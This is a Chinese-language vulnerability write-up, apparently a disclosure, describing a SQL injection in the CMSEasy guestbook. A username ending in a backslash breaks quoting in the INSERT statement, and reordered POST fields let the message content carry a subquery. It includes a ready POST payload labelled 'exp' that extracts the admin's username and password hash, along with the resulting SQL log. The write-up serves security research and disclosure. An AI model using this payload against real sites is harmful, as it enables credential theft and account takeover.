front_class.php 对 username 做了限制 但是 忘了\转义符
先看注册
user_act.php 289 行:
我们注册一个 123123\的账户
再来看登陆的逻辑
user_act.php 176 行:
//这里登陆成功后 设置cookie 用的是post设置的 因为有转义的原因
cookie会变成 123123\\ 我们手动设置一下就行了
我们再来看留言功能
//检测是否登陆状态
guestbook_act.php 28-94行
INSERT INTO `cmseasy_guestbook`(guesttel,guestemail,guestqq,title,content,userid,username,adddate) VALUES ('123','123123','123123','ss','123213','3','123123\','2014-06-25 15:35:43')
123123\ 为我们的用户名 可是后面没有可控的?
front::$post['userid']=$this->view->user['userid'];
front::$post['username']=$this->view->user['username'];
}
front::$post['adddate']=date('Y-m-d H:i:s');
front::$post['ip']=front::ip();
他是这样写的 var_dump一下变量
由于$_POST什么的本身就是数组 我们可以把顺序换一下.
这个为什么一直都在后面 因为他是最后赋值的 (重新创建了数组)
既然是这样我们之前先创建掉username这个变量。这样就有个位置了 再看
由于 留言只回显 用户名和内容 我们修改内容~
exp:
guesttel=123&nickname=11111111&guestemail=123123&guestqq=123123&title=ss&username=a&content=,(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM cmseasy_user WHERE USERID=1),1,1)# &verify=3vtq&submit=+%E6%8F%90%E4%BA%A4+
SQL日志 :
INSERT INTO `cmseasy_guestbook`(guesttel,guestemail,guestqq,title,username,content,userid,adddate) VALUES ('123','123123','123123','ss','123123213\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM cmseasy_user WHERE USERID=1),1,1)#','3','2014-06-25 15:49:18')
list_action()查询留言数据 (模板中) 得登陆状态才显示
还有一点就是拼接数据的时候 他会查询表里的列 我们可以自己写其他的列。。
$data=front::$post;